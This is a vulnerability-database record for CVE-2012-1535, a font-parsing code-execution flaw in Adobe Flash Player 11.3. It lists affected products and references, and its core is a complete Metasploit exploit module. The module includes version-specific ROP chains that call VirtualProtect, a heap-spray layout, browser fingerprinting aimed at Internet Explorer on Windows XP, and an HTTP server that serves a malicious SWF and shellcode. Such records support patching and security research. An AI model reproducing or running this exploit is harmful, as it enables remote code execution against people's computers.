ID

VAR-E-201208-0356


CVE

cve_id:CVE-2012-1535

Trust: 2.4

sources: BID: 55009 // PACKETSTORM: 115670 // EXPLOIT-DB: 20624 // EDBNET: 42764

EDB ID

20624


TITLE

Adobe Flash Player 11.3 - Font Parsing Code Execution (Metasploit) - Windows remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 20624

DESCRIPTION

Adobe Flash Player 11.3 - Font Parsing Code Execution (Metasploit). CVE-2012-1535CVE-84607 . remote exploit for Windows platform

Trust: 0.6

sources: EXPLOIT-DB: 20624

AFFECTED PRODUCTS

vendor:adobemodel:flash playerscope:eqversion:11.3

Trust: 1.0

vendor:adobemodel:flash player font parsingscope:eqversion:11.3

Trust: 0.5

vendor:susemodel:linux enterprise desktop sp2scope:eqversion:11

Trust: 0.3

vendor:susemodel:linux enterprise desktop sp1scope:eqversion:11

Trust: 0.3

vendor:susemodel:opensusescope:eqversion:12.1

Trust: 0.3

vendor:susemodel:opensusescope:eqversion:11.4

Trust: 0.3

vendor:researchmodel:in motion blackberry playbook tablet softwarescope:eqversion:2.0.0.7971

Trust: 0.3

vendor:researchmodel:in motion blackberry playbook tablet softwarescope:eqversion:1.0.8.6067

Trust: 0.3

vendor:researchmodel:in motion blackberry playbook tablet softwarescope:eqversion:1.0.8.4985

Trust: 0.3

vendor:researchmodel:in motion blackberry playbook tablet softwarescope:eqversion:1.0.7.3312

Trust: 0.3

vendor:researchmodel:in motion blackberry playbook tablet softwarescope:eqversion:1.0.7.2942

Trust: 0.3

vendor:researchmodel:in motion blackberry playbook tablet softwarescope:eqversion:1.0.6

Trust: 0.3

vendor:researchmodel:in motion blackberry playbook tablet softwarescope:eqversion:1.0.5.2342

Trust: 0.3

vendor:researchmodel:in motion blackberry playbook tablet softwarescope:eqversion:1.0.5.2304

Trust: 0.3

vendor:redmodel:hat enterprise linux workstation supplementaryscope:eqversion:6

Trust: 0.3

vendor:redmodel:hat enterprise linux supplementary serverscope:eqversion:5

Trust: 0.3

vendor:redmodel:hat enterprise linux server supplementaryscope:eqversion:6

Trust: 0.3

vendor:redmodel:hat enterprise linux desktop supplementaryscope:eqversion:6

Trust: 0.3

vendor:redmodel:hat enterprise linux desktop supplementary clientscope:eqversion:5

Trust: 0.3

vendor:opensusemodel:opensusescope:eqversion:12.2

Trust: 0.3

vendor:hpmodel:systems insight managerscope:eqversion:7.0

Trust: 0.3

vendor:hpmodel:systems insight managerscope:eqversion:6.3

Trust: 0.3

vendor:hpmodel:systems insight managerscope:eqversion:6.2

Trust: 0.3

vendor:hpmodel:systems insight managerscope:eqversion:6.1

Trust: 0.3

vendor:hpmodel:systems insight managerscope:eqversion:6.0.0.96

Trust: 0.3

vendor:hpmodel:systems insight managerscope:eqversion:6.0

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:17.0.96379

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:17.0.96365

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:16.0.91275

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.172.43

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.172.37

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.172.33

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.172.31

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.172.30

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.172.8

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.172.38

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.172.28

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.172.27

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.172.2

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.172

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.170.0

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.169.1

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.169.0

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.159.0

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.158.0

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.157.2

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.157.0

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:2.0.156.1

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:19.0.1084.52

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:19

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:18.0.1025.168

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:18.0.1025.162

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:18.0.1025.151

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:18.0.1025.142

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:17.0.963.83

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:17.0.963.78

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:17.0.963.60

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:17.0.963.56

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:17.0.963.46

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:16.0.912.77

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:16.0.912.75

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:16.0.912.63

Trust: 0.3

vendor:googlemodel:chromescope:eqversion:16

Trust: 0.3

vendor:gentoomodel:linuxscope: - version: -

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.2.202.235

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.2.202.233

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.2.202.229

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.2.202.228

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.2.202.223

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.1.115.8

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.1.115.7

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.1.115.6

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.1.112.61

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.1.111.9

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.1.111.8

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.1.111.7

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.1.111.6

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.1.111.5

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.1.102.63

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.1.102.62

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.1.102.55

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.1.102.228

Trust: 0.3

vendor:adobemodel:flash playerscope:eqversion:11.0.1.152

Trust: 0.3

sources: BID: 55009 // PACKETSTORM: 115670 // EXPLOIT-DB: 20624

EXPLOIT

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => "Adobe Flash Player 11.3 Font Parsing Code Execution",
'Description' => %q{
This module exploits a vulnerability found in the ActiveX component of Adobe
Flash Player before 11.3.300.271. By supplying a corrupt Font file used by the SWF,
it is possible to gain arbitrary remote code execution under the context of the
user, as exploited in the wild.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Alexander Gavrun', #Through iDefense
'sinn3r',
'juan vazquez'
],
'References' =>
[
[ 'CVE', '2012-1535' ],
[ 'OSVDB', '84607'],
[ 'BID', '55009'],
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2012/cve-2012-1535-adobe-flash-being-exploited-in-the-wild/' ],
[ 'URL', 'http://vrt-blog.snort.org/2012/08/cve-2012-1535-flash-0-day-in-wild.html' ],
[ 'URL', 'http://contagiodump.blogspot.com.es/2012/08/cve-2012-1535-samples-and-info.html' ]
],
'Payload' =>
{
'Space' => 1024
},
'DefaultOptions' =>
{
'InitialAutoRunScript' => 'migrate -f'
},
'Platform' => 'win',
'Targets' =>
[
# Tested successfully on:
# Flash 11.3.300.268
# Flash 11.3.300.265
# Flash 11.3.300.257
[ 'Automatic', {} ],
[
'IE 6 on Windows XP SP3',
{
'Rop' => nil
}
],
[
'IE 7 on Windows XP SP3',
{
'Rop' => nil
}
],
[
'IE 8 on Windows XP SP3',
{
'Rop' => true
}
]
],
'Privileged' => false,
'DisclosureDate' => "Aug 9 2012",
'DefaultTarget' => 0))

register_options(
[
OptEnum.new('ROP', [true, "The ROP chain to use", 'SWF', %w(SWF JRE)]),
], self.class)
end

def nop
return make_nops(4).unpack("L")[0].to_i
end

def get_payload(t, flash_version=nil)
if t['Rop'].nil?
p = [
0x0c0c0c0c, # mapped at 1e0d0000
0x0c0c0c0c,
0x0c0c0c0c, # mapped at 1e0d0008
].pack("V*")

p << payload.encoded
else
if datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,257/

print_status("Using Rop Chain For Flash: #{flash_version}")
stack_pivot = [
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x1001d891, # xchg eax, esp # ret (1e0d0008)
].pack("V*")

rop = [
0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
0x106e3384, # <- *&VirtualProtect()
0x1029de2f, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_257.ocx)
0x106add37, # XCHG EAX,ESI # RETN (Flash32_11_3_300_257.ocx)
0x1064e000, # POP EBP # RETN (Flash32_11_3_300_257.ocx)
0x10175c57, # ptr to 'jmp esp' (from Flash32_11_3_300_257.ocx)
0x106a4010, # POP EBX # RETN (Flash32_11_3_300_257.ocx)
0x00000201, # <- change size to mark as executable if needed (-> ebx)
0x104de800, # POP ECX # RETN (Flash32_11_3_300_257.ocx)
0x10955000, # W pointer (lpOldProtect) (-> ecx)
0x10649003, # POP EDI # RETN (Flash32_11_3_300_257.ocx)
0x10649004, # ROP NOP (-> edi)
0x10649987, # POP EDX # RETN (Flash32_11_3_300_257.ocx)
0x00000040, # newProtect (0x40) (-> edx)
0x10241001, # POP EAX # RETN (Flash32_11_3_300_257.ocx)
nop, # NOPS (-> eax)
0x1060e809, # PUSHAD # RETN (Flash32_11_3_300_257.ocx)
].pack("V*")

elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,265/

print_status("Using Rop Chain For Flash: #{flash_version}")
stack_pivot = [
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x1001d6d3, # xchg eax, esp # ret (1e0d0008)
].pack("V*")

rop = [
0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
0x106e338c, # <- *&VirtualProtect()
0x1029ea04, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_265.ocx)
0x103d60b8, # XCHG EAX,ESI # RETN (Flash32_11_3_300_265.ocx)
0x105cc000, # POP EBP # RETN (Flash32_11_3_300_265.ocx)
0x1001c5cd, # ptr to 'jmp esp' (from Flash32_11_3_300_265.ocx)
0x10398009, # POP EBX # RETN (Flash32_11_3_300_265.ocx)
0x00000201, # <- change size to mark as executable if needed (-> ebx)
0x10434188, # POP ECX # RETN (Flash32_11_3_300_265.ocx)
0x10955000, # W pointer (lpOldProtect) (-> ecx)
0x105c1811, # POP EDI # RETN (Flash32_11_3_300_265.ocx)
0x105c1812, # ROP NOP (-> edi)
0x10650602, # POP EDX # RETN (Flash32_11_3_300_265.ocx)
0x00000040, # newProtect (0x40) (-> edx)
0x10241002, # POP EAX # RETN (Flash32_11_3_300_265.ocx)
nop, # NOPS (-> eax)
0x1062800f, # PUSHAD # RETN (Flash32_11_3_300_265.ocx)
].pack("V*")

elsif datastore['ROP'] == 'SWF' and flash_version =~ /11,3,300,268/

print_status("Using Rop Chain For Flash: #{flash_version}")
stack_pivot = [
0x10004171, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x1001d755, # xchg eax, esp # ret (1e0d0008)
].pack("V*")
rop = [
0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
0x106e438c, # <- *&VirtualProtect()
0x10198e00, # MOV EAX,DWORD PTR DS:[EAX] # RETN (Flash32_11_3_300_268.ocx)
0x106ddf15, # XCHG EAX,ESI # RETN (Flash32_11_3_300_268.ocx)
0x1035f000, # POP EBP # RETN (Flash32_11_3_300_268.ocx)
0x10175c28, # ptr to 'jmp esp' (from Flash32_11_3_300_268.ocx)
0x105e0013, # POP EBX # RETN (Flash32_11_3_300_268.ocx)
0x00000201, # <- change size to mark as executable if needed (-> ebx)
0x10593801, # POP ECX # RETN (Flash32_11_3_300_268.ocx)
0x1083c000, # RW pointer (lpOldProtect) (-> ecx)
0x10308b0e, # POP EDI # RETN (Flash32_11_3_300_268.ocx)
0x10308b0f, # ROP NOP (-> edi)
0x10663a00, # POP EDX # RETN (Flash32_11_3_300_268.ocx)
0x00000040, # newProtect (0x40) (-> edx)
0x1023e9b9, # POP EAX # RETN (Flash32_11_3_300_268.ocx)
nop, # NOPS (-> eax)
0x1069120b, # PUSHAD # RETN (Flash32_11_3_300_268.ocx)
].pack("V*")

else

print_status("Default back to JRE ROP")
stack_pivot = [
0x7c34a028, # POP EDI # POP ESI # RETN (1e0d0000)
0x0c0c0c0c,
0x7c348b05, # xchg eax, esp # ret (1e0d0008)
].pack("V*")

rop = [
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0x00001000, # (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0x00000040, # flNewProtect
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")

end
p = stack_pivot
p << rop
p << payload.encoded
end
return p
end

def get_target(agent)
#If the user is already specified by the user, we'll just use that
return target if target.name != 'Automatic'

if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
return targets[1] #IE 6 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
return targets[2] #IE 7 on Windows XP SP3
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
return targets[3] #IE 8 on Windows XP SP3
else
return nil
end
end

def on_request_uri(cli, request)

agent = request.headers['User-Agent']
print_status("User-agent: #{agent}")
my_target = get_target(agent)

print_status("Client requesting: #{request.uri}")

# Avoid the attack if the victim doesn't have the same setup we're targeting
if my_target.nil?
print_error("Browser not supported: #{agent}")
send_not_found(cli)
return
end

# The SWF request itself
if request.uri =~ /\.swf$/
print_status("Sending SWF")
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})
return
end

# The TXT payload request
if request.uri =~ /\.txt$/
flash_version = request.headers['x-flash-version']
shellcode = get_payload(my_target, flash_version).unpack('H*')[0]
print_status("Sending Payload")
send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
return
end

swf_uri = get_resource() + Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf"

html = %Q|
<html>
<head>
</head>
<body>
<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">
<param name="movie" value="#{swf_uri}">
</object>
</body>
</html>
|

html = html.gsub(/^\t\t/, '')

# we need to handle direct /pay.txt requests
proc = Proc.new do |cli, req|
on_request_uri(cli, req)
end
add_resource({'Path' => "/pay.txt", 'Proc' => proc}) rescue nil

print_status("Sending HTML")
send_response(cli, html, {'Content-Type'=>'text/html'})
end

def exploit
@swf = create_swf
print_status("SWF Loaded: #{@swf.length.to_s} bytes")
super
end

def create_swf
path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2012-1535", "trigger.swf" )
fd = ::File.open( path, "rb" )
swf = fd.read(fd.stat.size)
fd.close
return swf
end

def cleanup
vprint_status("Removing txt resource")
remove_resource('/pay.txt') rescue nil
super
end

end

Trust: 1.0

sources: EXPLOIT-DB: 20624

EXPLOIT LANGUAGE

rb

Trust: 0.6

sources: EXPLOIT-DB: 20624

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 20624

TYPE

Font Parsing Code Execution (Metasploit)

Trust: 1.0

sources: EXPLOIT-DB: 20624

TAGS

tag:Metasploit Framework (MSF)

Trust: 1.0

tag:exploit

Trust: 0.5

tag:remote

Trust: 0.5

tag:arbitrary

Trust: 0.5

tag:code execution

Trust: 0.5

tag:activex

Trust: 0.5

sources: PACKETSTORM: 115670 // EXPLOIT-DB: 20624

CREDITS

Metasploit

Trust: 0.6

sources: EXPLOIT-DB: 20624

EXTERNAL IDS

db:NVDid:CVE-2012-1535

Trust: 2.4

db:EXPLOIT-DBid:20624

Trust: 1.6

db:EDBNETid:42764

Trust: 0.6

db:PACKETSTORMid:115670

Trust: 0.5

db:BIDid:55009

Trust: 0.3

sources: BID: 55009 // PACKETSTORM: 115670 // EXPLOIT-DB: 20624 // EDBNET: 42764

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2012-1535

Trust: 2.1

url:https://www.exploit-db.com/exploits/20624/

Trust: 0.6

url:https://h20564.www2.hp.com/portal/site/hpsc/public/kb/docdisplay?docid=emr_na-c04039150

Trust: 0.3

url:http://technet.microsoft.com/en-us/security/advisory/2755801

Trust: 0.3

url:http://www.adobe.com/support/security/bulletins/apsb12-18.html

Trust: 0.3

url:http://lists.opensuse.org/opensuse-updates/2013-02/msg00082.html

Trust: 0.3

url:http://www.blackberry.com/btsc/kb32019

Trust: 0.3

url:http://www.adobe.com/products/flash/

Trust: 0.3

url:http://googlechromereleases.blogspot.in/2012/08/stable-channel-update_14.html

Trust: 0.3

sources: BID: 55009 // PACKETSTORM: 115670 // EXPLOIT-DB: 20624 // EDBNET: 42764

SOURCES

db:BIDid:55009
db:PACKETSTORMid:115670
db:EXPLOIT-DBid:20624
db:EDBNETid:42764

LAST UPDATE DATE

2022-07-27T09:58:57.892000+00:00


SOURCES UPDATE DATE

db:BIDid:55009date:2015-03-19T09:10:00

SOURCES RELEASE DATE

db:BIDid:55009date:2012-08-14T00:00:00
db:PACKETSTORMid:115670date:2012-08-17T22:56:17
db:EXPLOIT-DBid:20624date:2012-08-20T00:00:00
db:EDBNETid:42764date:2012-08-20T00:00:00